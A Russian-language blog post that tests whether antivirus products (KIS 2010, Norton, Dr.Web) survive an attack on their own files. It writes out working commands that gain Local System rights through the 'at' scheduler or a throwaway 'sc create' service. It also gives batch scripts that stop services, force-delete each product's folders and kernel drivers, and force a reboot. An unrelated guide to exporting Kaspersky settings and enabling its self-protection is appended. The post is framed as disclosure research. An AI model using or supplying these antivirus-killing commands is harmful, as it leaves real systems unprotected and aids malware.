Привет всем!

Недавно мы уже обсудили могущество эвристических технологий современных антивирусов и пришли к мнению, что верить никому нельзя. Даже иногда себе:)

Сегодня мы поговорим о другом спорном моменте антивирусов - самозащите. Некоторые вендоры очень серьёзно относятся к этому моменту, и их продукты выстаивают даже в сложных комплексных случаях активного заражения, эффективно снимая вирусные перехваты, устанавливаясь в систему и даже в последующем удаляя уже изрядно прописавшихся зловредов. Другие считают, что активное заражение - это битва с ветряными мельницами, не приводящая ни к чему путному, а потому - LiveCD, а в ряде случаев и format c:

Отдадим должное обоим оппонентам: безусловно, если есть возможность победить вирусное противостояние - это хорошо. Если только это не приводит к бсодам и загрузке системы на пару-тройку дней. И абсолютно очевидно, что при серьёзном и комплексном заражении зачастую невозможно пробиться через активную массу перехватов, вредоносных процессов на уровне ядра и прочего - а потому часто действительно разумнее провести лечение неактивной системы (с LiveCD или сканируя винчестер на незаражённой машине), ну а в случае разношёрстной файловой инфекции - и задуматься о полной переустановке ОС.

Но не будем предаваться спорам - оставим это для следующей статьи:) Поговорим о простом: о самозащите системы даже на заведомо незаражённой системе. И примем априори:

1) имеется комплексный продукт антивирус+хипс+файервол;
2) система была незаражена, но каким-то образом проник вредоносный код;
3) вредоносный код имеет своим намерением удалить антивирус или повредить его настолько, чтобы обеспечить полную неработоспособность.

Вариант действий будет самым простым - попытка удаления жизненно важных файлов антивируса с правами Local System. Идея такого подхода принадлежит моему хорошему другу Алексею Баранову, который сообщил о ней в закрытых кругах некоторое время назад. Время прошло, будем считать, что вендоры подтянулись - проверим это.

На Windows-системах, работая под администратором (а это, наверное, 80% всех систем) получить права Local System достаточно просто. В голову сразу приходит два способа, хорошо описанные в сети.

Способ 1. Использование планировщика.
По умолчанию, на всех Windows-системах работает служба планировщика задач. Эта служба запускает задачи с искомыми правами Local System. Тогда очень просто добавить задание как-то:
at 11:05 c:\killer.bat
и kill.bat запустится с правами Local System.

Преимущества очевидны: всё просто и ясно. Недостаток: пользователь может заметить странную новую задачу в планировщике, да и просто в целях безопасности отключить эту службу.

Способ 1. Создание службы.
Суть метода заключается в создании службы, её запуске и удалении. При этом всё реализуется в три строчки:
sc create CmdAsSystem type= own type= interact binPath= "cmd /c start /low /b cmd /c (c:\killer.bat)"
net start CmdAsSystem
sc delete CmdAsSystem

При этом мало того, что killer.bat запустится с приоритетом IDLE, он ещё и будет запущен от имени Local System.
Метод незаметен, никак не проявляет себя.

На момент публикования статьи KIS 2010 оба метода пропускал на уровне хипса, даже не запрашивая никаких разрешений.

Ну а теперь перейдём к самому killer.bat (в нашем случае он расположен в корне на диске С, но понятно, что закинуть его можно куда угодно).

Суть этого файла проста: удаляем всё, что принадлежит антивирусу. Так, для Касперского 2010 это будет:
net stop srservice
erase /F /S /Q "C:\Program Files\Kaspersky Lab\Kaspersky Internet Security 2010"
erase /F /S /Q "%windir%\system32\drivers\kl1.sys"
erase /F /S /Q "%windir%\system32\drivers\klif.sys"
erase /F /S /Q "%windir%\system32\drivers\klbg.sys"
erase /F /S /Q "%windir%\system32\drivers\klim5.sys"
erase /F /S /Q "%windir%\system32\drivers\klmd.sys"
erase /F /S /Q "%windir%\system32\drivers\klmouflt.sys"

Для Symantec что-то типа (кто знает точнее - поправьте, сам-то я на Касперском):
net stop srservice
erase /F /S /Q "C:\Program Files\Symantec"
erase /F /S /Q "C:\Program Files\Norton Internet Security"
shutdown -r -f -c "Bye-Bye!!!"

Для Доктора Веба:
net stop srservice
erase /F /S /Q "C:\Program Files\DrWeb"
erase /F /S /Q "%windir%\system32\drivers\dwprot.sys"
erase /F /S /Q "%windir%\system32\drivers\drwebaf.sys"
erase /F /S /Q "%windir%\system32\drivers\DrWebPF.sys"
erase /F /S /Q "%windir%\system32\drivers\spiderg3.sys"
shutdown -r -f -c "Bye-Bye!!!"

Понятно, что аналогичный скрипт можно прописать для всех антивирусов - суть изменять пути к жизненно важным файлам.

Итого - что же мы имеем?

1. KIS 2010 получил такой урон, что был убит, и система осталась без защиты. KIS 2011 лишён этой половой слабости - но он же всё ещё бета…
2. NIS потерял несколько файлов, но работоспособность не нарушилась, файлы впоследствии были скачаны и восстановлены при обновлении из Интернет.
3. DrWeb вообще не пострадал, что и ожидалось, принимая во внимание особый упор разработчика на противостояние инфекции. Но не забываем, что для Веба есть SpiDie …

При этом хипсы указанных продуктов спокойно пропустили оба варианта манипуляций (КИС проверил лично).

ВЫВОДЫ
К сожалению, приходится констатировать факт, что некоторые из существующих антивирусных решений имеют ряд уязвимостей, которые могут быть использованы для повреждения защиты и фактически удалению антивируса с компьютера.

Предлагается в комментариях дополнить наблюдения и исследования по другим антивирусным продуктам (желательно с хипс, чтобы оценить и уровень блокировки действий по получению прав Local System). Думаю, что описанные манипуляции понятны и могут быть легко воспроизведены на виртуальных машинах энтузиастов.

Cheers!

Теги: Добавить метки

Как скопировать настройки и самозащита Касперского 2010

После настройки всех параметров Антивируса Касперского по своему усмотрению, вы можете экспортировать или импортировать их для последующего использования шаблона настроек на других компьютерах, где установлено аналогичное приложение. Например, скопировать настройки антивируса с домашнего компьютера и с помощью созданного шаблона быстро настроить параметры работы приложения на вашем рабочем компьютере или на остальных компьютерах домашней сети.

Все параметры сохраняются в виде особого конфигурационного файла. Для того, чтобы сохранить текущий шаблон настроек антивируса, необходимо провести операцию экспорта заданных параметров работы приложения, выполнив следующую последовательность действий. В главном окне приложения нажмите на кнопку «Настройка », после чего в открывшемся окне в блоке меню слева выберите раздел «Параметры ». В центральной части окна, перейдя в блок «», нажмите на кнопку «Сохранить ». На экране появится окно «Выбор конфигурационного файла », в котором необходимо задать имя сохраняемого файла и папку, в которую он будет помещен. Такому файлу присваивается расширение.cfg (си-эф-джи). Закройте окно нажатием кнопки «Сохранить ».

Для последующего импорта параметров работы антивируса из ранее сохраненного конфигурационного файла в главном окне приложения нажмите на кнопку «Настройка » и в открывшемся окне в блоке меню слева выберите раздел «Параметры ». Перейдя в блок «Управление параметрами программы », нажмите на кнопку «Загрузить ». В появившемся окне найдите сохраненный конфигурационный файл, после чего нажмите на кнопку «Открыть ».

Чтобы обезопасить приложение от проникновения в его системные файлы и настройки различных вирусов, пытающихся помешать его работе, в состав Антивируса Касперского входит специальная функция самозащиты и защиты от удаленного воздействия . При использовании антивируса в Microsoft Windows Vista и 64-разрядных операционных системах эта функция ограничена управлением механизмом самозащиты приложения от изменения или удаления собственных файлов на диске, и записей в системном реестре.

Для включения функции самозащиты антивируса в главном окне приложения нажмите на кнопку «Настройка ». В появившемся окне в блоке меню слева выберите раздел «Параметры ». Перейдя в блок «Самозащита », установите флажок «Включить самозащиту ».

Если же вы хотите заблокировать удаленный доступ к управлению функциями и компонентами антивируса, в блоке «Самозащита » установите флажок «Отключить возможность внешнего управления системной службой ». При этом в случае обнаружения попыток доступа к управлению сервисами антивируса, над значком приложения в области уведомлений панели задач появится соответствующее уведомление.